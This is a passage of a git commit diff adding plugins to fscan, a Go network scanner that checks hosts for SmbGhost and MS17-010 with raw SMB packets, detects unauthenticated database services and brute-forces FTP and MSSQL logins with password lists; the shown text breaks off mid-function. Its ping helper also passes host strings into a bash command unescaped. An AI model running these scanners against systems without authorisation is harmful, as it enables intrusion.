mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-07-13 21:02:44 +08:00
update
This commit is contained in:
parent
8d1b44e82b
commit
1598de6ce0
129
Plugins/CVE-2020-0796.go
Normal file
129
Plugins/CVE-2020-0796.go
Normal file
@ -0,0 +1,129 @@
|
||||
package Plugins
|
||||
//Ladon Scanner for golang
|
||||
//Author: k8gege
|
||||
//K8Blog: http://k8gege.org
|
||||
//Github: https://github.com/k8gege
|
||||
import (
|
||||
"../common"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
pkt =
|
||||
"\x00" + // session
|
||||
"\x00\x00\xc0"+ // legth
|
||||
|
||||
"\xfeSMB@\x00"+ // protocol
|
||||
|
||||
//[MS-SMB2]: SMB2 NEGOTIATE Request
|
||||
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
|
||||
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x1f\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
|
||||
|
||||
"$\x00" +
|
||||
"\x08\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00" +
|
||||
"\x7f\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"x\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x02" +
|
||||
"\x10\x02" +
|
||||
"\x22\x02" +
|
||||
"$\x02" +
|
||||
"\x00\x03" +
|
||||
"\x02\x03" +
|
||||
"\x10\x03" +
|
||||
"\x11\x03" +
|
||||
"\x00\x00\x00\x00" +
|
||||
|
||||
|
||||
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
|
||||
|
||||
"\x01\x00" +
|
||||
"&\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" +
|
||||
"\x20\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
|
||||
|
||||
"\x03\x00" +
|
||||
"\x0e\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" + //CompressionAlgorithmCount
|
||||
"\x00\x00" +
|
||||
"\x01\x00\x00\x00" +
|
||||
"\x01\x00" + //LZNT1
|
||||
"\x00\x00" +
|
||||
"\x00\x00\x00\x00"
|
||||
)
|
||||
func SmbGhost(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
SmbGhostScan(info)
|
||||
wg.Done()
|
||||
<- ch
|
||||
}
|
||||
|
||||
func SmbGhostScan(info *common.HostInfo) {
|
||||
ip,port,timeout := info.Host,445,time.Duration(info.Timeout)*time.Second
|
||||
addr:=fmt.Sprintf("%s:%d",info.Host,port)
|
||||
conn, err := net.DialTimeout("tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return
|
||||
} else {
|
||||
conn.Write([]byte(pkt))
|
||||
buff := make([]byte, 1024)
|
||||
err = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
n, err := conn.Read(buff)
|
||||
if err != nil {
|
||||
return
|
||||
}else {
|
||||
defer conn.Close()
|
||||
if bytes.Contains([]byte(buff[:n]), []byte("Public")) == true {
|
||||
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable",ip)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
52
Plugins/base.go
Normal file
52
Plugins/base.go
Normal file
@ -0,0 +1,52 @@
|
||||
package Plugins
|
||||
|
||||
var PluginList = map[string]interface{}{
|
||||
"21": FtpScan,
|
||||
"22": SshScan,
|
||||
"135": Findnet,
|
||||
"445": SmbScan,
|
||||
"1433":MssqlScan,
|
||||
"3306": MysqlScan,
|
||||
"5432": PostgresScan,
|
||||
"6379": RedisScan,
|
||||
"9200":elasticsearchScan,
|
||||
"11211":MemcachedScan,
|
||||
"27017":MongodbScan,
|
||||
"1000001": MS17010,
|
||||
"1000002": SmbGhost,
|
||||
//"WebTitle":WebTitle,
|
||||
}
|
||||
|
||||
//var Passwords = []string{"admin123A","123456","admin","root","password","123123","123","1","{user}","{user}{user}","{user}1","{user}123","{user}2016","{user}2015","{user}!","","P@ssw0rd!!","qwa123","12345678","test","123qwe!@#","123456789","123321","1314520","666666","woaini","fuckyou","000000","1234567890","8888888","qwerty","1qaz2wsx","abc123","abc123456","1q2w3e4r","123qwe","p@ssw0rd","p@55w0rd","password!","p@ssw0rd!","password1","r00t","tomcat","apache","system","huawei","admin123","zte"}
|
||||
//const Username = "admin"
|
||||
//const Password = "123456"
|
||||
//const Timeout = 3 * time.Second
|
||||
//const FTPPORT = 21
|
||||
//const SSHPORT = 22
|
||||
//const MEMCACHEDPORT = 11211
|
||||
//const MONGODBPORT = 27017
|
||||
//const MSSQLPORT = 1433
|
||||
//const OraclePORT = 1433
|
||||
//const PSQLPORT = 5432
|
||||
//const REDISPORT = 6379
|
||||
//const MYSQLPORT = 3306
|
||||
//const SMBPORT = 445
|
||||
//const POSTGRESPORT = 5432
|
||||
|
||||
|
||||
//var PluginList = map[string]interface{}{
|
||||
// "ftp": FtpScan,
|
||||
// "mysql": MysqlScan,
|
||||
// //"mongodb":MgoConn,
|
||||
// "mssql":MssqlScan,
|
||||
// "redis": RedisScan,
|
||||
// //"smb": SmbScan,
|
||||
// "ssh": SshScan,
|
||||
// //"portscan": PortConn,
|
||||
// //"icmp": IcmpConn,
|
||||
// "postgresql": PostgresScan,
|
||||
// //"urlscan":UrlConn,
|
||||
// //"auth":ApacheConn,
|
||||
// //"subdomain":SDConn,
|
||||
// //"memcached":MemConn,
|
||||
//}
|
71
Plugins/elasticsearch.go
Normal file
71
Plugins/elasticsearch.go
Normal file
@ -0,0 +1,71 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"../common"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func elasticsearchScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
geturl2(info)
|
||||
wg.Done()
|
||||
<-ch
|
||||
}
|
||||
|
||||
|
||||
func geturl2(info *common.HostInfo) (flag bool,err error) {
|
||||
flag = false
|
||||
url := fmt.Sprintf("%s:%d/_cat",info.Url,common.PORTList["elastic"])
|
||||
var client = &http.Client{
|
||||
Transport:&http.Transport{
|
||||
DialContext:(&net.Dialer{
|
||||
Timeout:time.Duration(info.Timeout)*time.Second,
|
||||
}).DialContext,
|
||||
},
|
||||
CheckRedirect:func(req *http.Request, via []*http.Request) error{
|
||||
return http.ErrUseLastResponse
|
||||
},
|
||||
}
|
||||
res,err:=http.NewRequest("GET",url,nil)
|
||||
if err==nil{
|
||||
res.Header.Add("User-agent","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
|
||||
res.Header.Add("Accept","*/*")
|
||||
res.Header.Add("Accept-Language","zh-CN,zh;q=0.9")
|
||||
res.Header.Add("Accept-Encoding","gzip, deflate")
|
||||
res.Header.Add("Connection","close")
|
||||
resp,err:=client.Do(res)
|
||||
|
||||
if err==nil{
|
||||
defer resp.Body.Close()
|
||||
body, _ := ioutil.ReadAll(resp.Body)
|
||||
if strings.Contains(string(body),"/_cat/master"){
|
||||
result := fmt.Sprintf("Elastic:%s unauthorized",url)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
return flag,err
|
||||
|
||||
//fmt.Print("\n")
|
||||
}
|
||||
|
||||
|
||||
//if info.Cookie!=""{
|
||||
// res.Header.Add("Cookie",info.Cookie)
|
||||
//}
|
||||
//if info.Header!=""{
|
||||
// var header = make(map[string]string)
|
||||
// err:=json.Unmarshal([]byte(info.Header),&header)
|
||||
// if err!=nil{
|
||||
// Misc.CheckErr(err)
|
||||
// }
|
||||
// for k,v:=range header{
|
||||
// res.Header.Add(k,v)
|
||||
// }
|
||||
//}
|
78
Plugins/findnet.go
Normal file
78
Plugins/findnet.go
Normal file
@ -0,0 +1,78 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
//"encoding/binary"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"sync"
|
||||
|
||||
"../common"
|
||||
)
|
||||
|
||||
var (
|
||||
buffer_v1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
|
||||
buffer_v2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
|
||||
buffer_v3, _ = hex.DecodeString("0900ffff0000")
|
||||
|
||||
)
|
||||
func Findnet(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
FindnetScan(info)
|
||||
wg.Done()
|
||||
<- ch
|
||||
}
|
||||
|
||||
func FindnetScan(info *common.HostInfo) {
|
||||
realhost:=fmt.Sprintf("%s:%d",info.Host,135)
|
||||
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil{
|
||||
return
|
||||
}
|
||||
conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second))
|
||||
defer conn.Close()
|
||||
conn.Write(buffer_v1)
|
||||
reply := make([]byte, 4096)
|
||||
_, err = conn.Read(reply)
|
||||
if err != nil{
|
||||
return
|
||||
}
|
||||
conn.Write(buffer_v2)
|
||||
if n, err := conn.Read(reply); err != nil || n < 42 {
|
||||
return
|
||||
}
|
||||
text := reply[42:]
|
||||
flag := true
|
||||
for i := 0; i < len(text)-5; i++ {
|
||||
if bytes.Equal(text[i:i+6], buffer_v3){
|
||||
text = text[:i-4]
|
||||
flag = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if flag{
|
||||
return
|
||||
}
|
||||
read(text,info.Host)
|
||||
}
|
||||
func read(text []byte,host string) {
|
||||
encodedStr := hex.EncodeToString(text)
|
||||
hostnames := strings.Replace(encodedStr, "0700", "", -1)
|
||||
hostname := strings.Split(hostnames, "000000")
|
||||
result := "NetInfo:\n[*]"+host
|
||||
for i := 0; i < len(hostname); i++ {
|
||||
hostname[i] = strings.Replace(hostname[i], "00", "", -1)
|
||||
host,err := hex.DecodeString(hostname[i])
|
||||
if err != nil{
|
||||
return
|
||||
}
|
||||
result += "\n [->]"+string(host)
|
||||
//result += "\n ["+string(host)+"]"
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
|
||||
|
41
Plugins/ftp.go
Normal file
41
Plugins/ftp.go
Normal file
@ -0,0 +1,41 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"../common"
|
||||
"github.com/jlaffaye/ftp"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func FtpScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
Loop:
|
||||
for _,user:=range common.Userdict["ftp"]{
|
||||
for _,pass:=range common.Passwords{
|
||||
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||
flag,err := FtpConn(info,user,pass,ch,wg)
|
||||
if flag==true && err==nil {
|
||||
break Loop
|
||||
}
|
||||
}
|
||||
}
|
||||
wg.Done()
|
||||
<- ch
|
||||
}
|
||||
|
||||
func FtpConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
|
||||
flag = false
|
||||
Host,Port,Username,Password := info.Host, common.PORTList["ftp"],user, pass
|
||||
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v",Host,Port), time.Duration(info.Timeout)*time.Second)
|
||||
if err == nil {
|
||||
err = conn.Login(Username,Password)
|
||||
if err == nil {
|
||||
defer conn.Logout()
|
||||
result := fmt.Sprintf("FTP:%v:%v:%v %v",Host,Port,Username,Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag,err
|
||||
}
|
203
Plugins/icmp.go
Normal file
203
Plugins/icmp.go
Normal file
@ -0,0 +1,203 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"os/user"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var icmp ICMP
|
||||
|
||||
var AliveHosts []string
|
||||
|
||||
type ICMP struct {
|
||||
Type uint8
|
||||
Code uint8
|
||||
Checksum uint16
|
||||
Identifier uint16
|
||||
SequenceNum uint16
|
||||
}
|
||||
|
||||
type SystemInfo struct {
|
||||
OS string
|
||||
ARCH string
|
||||
HostName string
|
||||
Groupid string
|
||||
Userid string
|
||||
Username string
|
||||
UserHomeDir string
|
||||
}
|
||||
|
||||
func GetSys() SystemInfo {
|
||||
var sysinfo SystemInfo
|
||||
|
||||
sysinfo.OS = runtime.GOOS
|
||||
sysinfo.ARCH = runtime.GOARCH
|
||||
name, err := os.Hostname()
|
||||
if err == nil {
|
||||
sysinfo.HostName = name
|
||||
}
|
||||
|
||||
u, err := user.Current()
|
||||
sysinfo.Groupid = u.Gid
|
||||
sysinfo.Userid = u.Uid
|
||||
sysinfo.Username = u.Username
|
||||
sysinfo.UserHomeDir = u.HomeDir
|
||||
|
||||
return sysinfo
|
||||
}
|
||||
|
||||
func isping(ip string) bool {
|
||||
icmp.Type = 8
|
||||
icmp.Code = 0
|
||||
icmp.Checksum = 0
|
||||
icmp.Identifier = 0
|
||||
icmp.SequenceNum = 0
|
||||
|
||||
recvBuf := make([]byte, 32)
|
||||
var buffer bytes.Buffer
|
||||
|
||||
binary.Write(&buffer, binary.BigEndian, icmp)
|
||||
icmp.Checksum = CheckSum(buffer.Bytes())
|
||||
|
||||
buffer.Reset()
|
||||
binary.Write(&buffer, binary.BigEndian, icmp)
|
||||
|
||||
Time, _ := time.ParseDuration("2s")
|
||||
conn, err := net.DialTimeout("ip4:icmp", ip, Time)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
_, err = conn.Write(buffer.Bytes())
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
conn.SetReadDeadline(time.Now().Add(time.Second * 2))
|
||||
num, err := conn.Read(recvBuf)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
conn.SetReadDeadline(time.Time{})
|
||||
|
||||
if string(recvBuf[0:num]) != "" {
|
||||
fmt.Printf("(ICMP) Target '%s' is alive\n",ip)
|
||||
return true
|
||||
}
|
||||
return false
|
||||
|
||||
}
|
||||
|
||||
func CheckSum(data []byte) uint16 {
|
||||
var (
|
||||
sum uint32
|
||||
length int = len(data)
|
||||
index int
|
||||
)
|
||||
for length > 1 {
|
||||
sum += uint32(data[index])<<8 + uint32(data[index+1])
|
||||
index += 2
|
||||
length -= 2
|
||||
}
|
||||
if length > 0 {
|
||||
sum += uint32(data[index])
|
||||
}
|
||||
sum += (sum >> 16)
|
||||
|
||||
return uint16(^sum)
|
||||
}
|
||||
|
||||
func IcmpCheck(hostslist []string) {
|
||||
var wg sync.WaitGroup
|
||||
mutex := &sync.Mutex{}
|
||||
for _,host :=range hostslist{
|
||||
wg.Add(1)
|
||||
go func(host string) {
|
||||
defer wg.Done()
|
||||
if isping(host){
|
||||
mutex.Lock()
|
||||
AliveHosts = append(AliveHosts, host)
|
||||
mutex.Unlock()
|
||||
}
|
||||
}(host)
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func ExecCommandPing(ip string,bsenv string) bool {
|
||||
command := exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
||||
outinfo := bytes.Buffer{}
|
||||
command.Stdout = &outinfo
|
||||
err := command.Start()
|
||||
if err != nil{
|
||||
return false
|
||||
}
|
||||
|
||||
if err = command.Wait();err!=nil{
|
||||
return false
|
||||
}else{
|
||||
if(strings.Contains(outinfo.String(), "true")) {
|
||||
return true
|
||||
}else {
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func PingCMDcheck(hostslist []string,bsenv string) {
|
||||
var wg sync.WaitGroup
|
||||
mutex := &sync.Mutex{}
|
||||
limiter := make(chan struct{}, 40)
|
||||
//aliveHost := make(chan string, 20)
|
||||
//go func() {
|
||||
// for s := range aliveHost {
|
||||
// fmt.Println(s)
|
||||
// }
|
||||
//}()
|
||||
for _,host :=range hostslist{
|
||||
wg.Add(1)
|
||||
limiter <- struct{}{}
|
||||
go func(host string) {
|
||||
defer wg.Done()
|
||||
if ExecCommandPing(host,bsenv){
|
||||
mutex.Lock()
|
||||
fmt.Printf("(Ping) Target '%s' is alive\n",host)
|
||||
AliveHosts = append(AliveHosts, host)
|
||||
mutex.Unlock()
|
||||
}
|
||||
<-limiter
|
||||
}(host)
|
||||
}
|
||||
wg.Wait()
|
||||
//close(aliveHost)
|
||||
}
|
||||
|
||||
func ICMPRun(hostslist []string) []string{
|
||||
var sysinfo SystemInfo
|
||||
sysinfo = GetSys()
|
||||
|
||||
if sysinfo.OS == "windows" {
|
||||
IcmpCheck(hostslist)
|
||||
}else if sysinfo.OS == "linux" {
|
||||
if (sysinfo.Groupid == "0" || sysinfo.Userid == "0" || sysinfo.Username == "root") {
|
||||
IcmpCheck(hostslist)
|
||||
}else {
|
||||
PingCMDcheck(hostslist,"/bin/bash")
|
||||
}
|
||||
}else if sysinfo.OS == "darwin" {
|
||||
if (sysinfo.Groupid == "0" || sysinfo.Userid == "0" || sysinfo.Username == "root") {
|
||||
IcmpCheck(hostslist)
|
||||
}else {
|
||||
PingCMDcheck(hostslist,"/usr/local/bin/bash")
|
||||
}
|
||||
}
|
||||
return AliveHosts
|
||||
}
|
31
Plugins/memcached.go
Normal file
31
Plugins/memcached.go
Normal file
@ -0,0 +1,31 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"../common"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MemcachedScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) (err error, result string) {
|
||||
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["mem"])
|
||||
client,err:=net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
||||
if err==nil {
|
||||
client.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second))
|
||||
client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
|
||||
rev := make([]byte, 1024)
|
||||
n, err := client.Read(rev)
|
||||
if err == nil {
|
||||
if strings.Contains(string(rev[:n]), "STAT") {
|
||||
defer client.Close()
|
||||
result = fmt.Sprintf("Memcached:%s unauthorized",realhost)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
}
|
||||
wg.Done()
|
||||
<- ch
|
||||
return err, result
|
||||
}
|
49
Plugins/mongodb.go
Normal file
49
Plugins/mongodb.go
Normal file
@ -0,0 +1,49 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"../common"
|
||||
"fmt"
|
||||
_ "github.com/denisenkom/go-mssqldb"
|
||||
"net"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
|
||||
func MongodbScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
MongodbUnauth(info)
|
||||
wg.Done()
|
||||
<- ch
|
||||
}
|
||||
|
||||
func MongodbUnauth(info *common.HostInfo) (flag bool,err error) {
|
||||
flag = false
|
||||
send_data := []byte{58,0,0,0,167,65,0,0,0,0,0,0,212,7,0,0,0,0,0,0,97,100,109,105,110,46,36,99,109,100,0,0,0,0,0,255,255,255,255,19,0,0,0,16,105,115,109,97,115,116,101,114,0,1,0,0,0,0}
|
||||
getlog_data := []byte{72,0,0,0,2,0,0,0,0,0,0,0,212,7,0,0,0,0,0,0,97,100,109,105,110,46,36,99,109,100,0,0,0,0,0,1,0,0,0,33,0,0,0,2,103,101,116,76,111,103,0,16,0,0,0,115,116,97,114,116,117,112,87,97,114,110,105,110,103,115,0,0}
|
||||
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["mgo"])
|
||||
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil{return}
|
||||
defer conn.Close()
|
||||
conn.Write(send_data)
|
||||
buf := make([]byte, 1024)
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
return flag,err
|
||||
}
|
||||
text := string(buf[0:count])
|
||||
if strings.Contains(text,"ismaster"){
|
||||
conn.Write(getlog_data)
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
return flag,err
|
||||
}
|
||||
text := string(buf[0:count])
|
||||
if strings.Contains(text,"totalLinesWritten"){
|
||||
flag = true
|
||||
result := fmt.Sprintf("Mongodb:%v unauthorized",realhost)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
return flag,err
|
||||
}
|
139
Plugins/ms17017.go
Normal file
139
Plugins/ms17017.go
Normal file
@ -0,0 +1,139 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"sync"
|
||||
|
||||
//"flag"
|
||||
"fmt"
|
||||
"net"
|
||||
"../common"
|
||||
"strings"
|
||||
//"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
negotiateProtocolRequest, _ = hex.DecodeString("00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200")
|
||||
sessionSetupRequest, _ = hex.DecodeString("00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000")
|
||||
treeConnectRequest, _ = hex.DecodeString("00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00")
|
||||
transNamedPipeRequest, _ = hex.DecodeString("0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00")
|
||||
trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
|
||||
)
|
||||
|
||||
func MS17010(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
MS17010Scan(info)
|
||||
wg.Done()
|
||||
<- ch
|
||||
}
|
||||
|
||||
func MS17010Scan(info *common.HostInfo) {
|
||||
|
||||
ip := info.Host
|
||||
// connecting to a host in LAN if reachable should be very quick
|
||||
conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
//fmt.Printf("failed to connect to %s\n", ip)
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second))
|
||||
conn.Write(negotiateProtocolRequest)
|
||||
reply := make([]byte, 1024)
|
||||
// let alone half packet
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
// status != 0
|
||||
return
|
||||
}
|
||||
|
||||
conn.Write(sessionSetupRequest)
|
||||
|
||||
n, err := conn.Read(reply)
|
||||
if err != nil || n < 36 {
|
||||
return
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
// status != 0
|
||||
//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
|
||||
return
|
||||
}
|
||||
|
||||
// extract OS info
|
||||
var os string
|
||||
sessionSetupResponse := reply[36:n]
|
||||
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
|
||||
// find byte count
|
||||
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
||||
if n != int(byteCount)+45 {
|
||||
fmt.Println("invalid session setup AndX response")
|
||||
} else {
|
||||
// two continous null bytes indicates end of a unicode string
|
||||
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
||||
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
||||
os = string(sessionSetupResponse[10:i])
|
||||
os = strings.Replace(os, string([]byte{0x00}), "",-1)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
userID := reply[32:34]
|
||||
treeConnectRequest[32] = userID[0]
|
||||
treeConnectRequest[33] = userID[1]
|
||||
// TODO change the ip in tree path though it doesn't matter
|
||||
conn.Write(treeConnectRequest)
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return
|
||||
}
|
||||
|
||||
treeID := reply[28:30]
|
||||
transNamedPipeRequest[28] = treeID[0]
|
||||
transNamedPipeRequest[29] = treeID[1]
|
||||
transNamedPipeRequest[32] = userID[0]
|
||||
transNamedPipeRequest[33] = userID[1]
|
||||
|
||||
conn.Write(transNamedPipeRequest)
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return
|
||||
}
|
||||
|
||||
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
||||
//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
||||
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
||||
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
|
||||
result := fmt.Sprintf("%s\tMS17-010\t(%s)", ip, os)
|
||||
common.LogSuccess(result)
|
||||
// detect present of DOUBLEPULSAR SMB implant
|
||||
trans2SessionSetupRequest[28] = treeID[0]
|
||||
trans2SessionSetupRequest[29] = treeID[1]
|
||||
trans2SessionSetupRequest[32] = userID[0]
|
||||
trans2SessionSetupRequest[33] = userID[1]
|
||||
|
||||
conn.Write(trans2SessionSetupRequest)
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return
|
||||
}
|
||||
|
||||
if reply[34] == 0x51 {
|
||||
//fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip)
|
||||
result := fmt.Sprintf("DOUBLEPULSAR SMB IMPLANT in %s", ip)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
|
||||
} else {
|
||||
result := fmt.Sprintf("%s\t \t(%s)\n", ip, os)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
|
||||
}
|
||||
|
48
Plugins/mssql.go
Normal file
48
Plugins/mssql.go
Normal file
@ -0,0 +1,48 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"../common"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/denisenkom/go-mssqldb"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
|
||||
|
||||
|
||||
func MssqlScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
Loop:
|
||||
for _,user:=range common.Userdict["mssql"]{
|
||||
for _,pass:=range common.Passwords{
|
||||
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||
flag,err := MssqlConn(info,user,pass,ch,wg)
|
||||
if flag==true && err==nil {
|
||||
break Loop
|
||||
}
|
||||
}
|
||||
}
|
||||
wg.Done()
|
||||
<- ch
|
||||
}
|
||||
|
||||
func MssqlConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
|
||||
flag = false
|
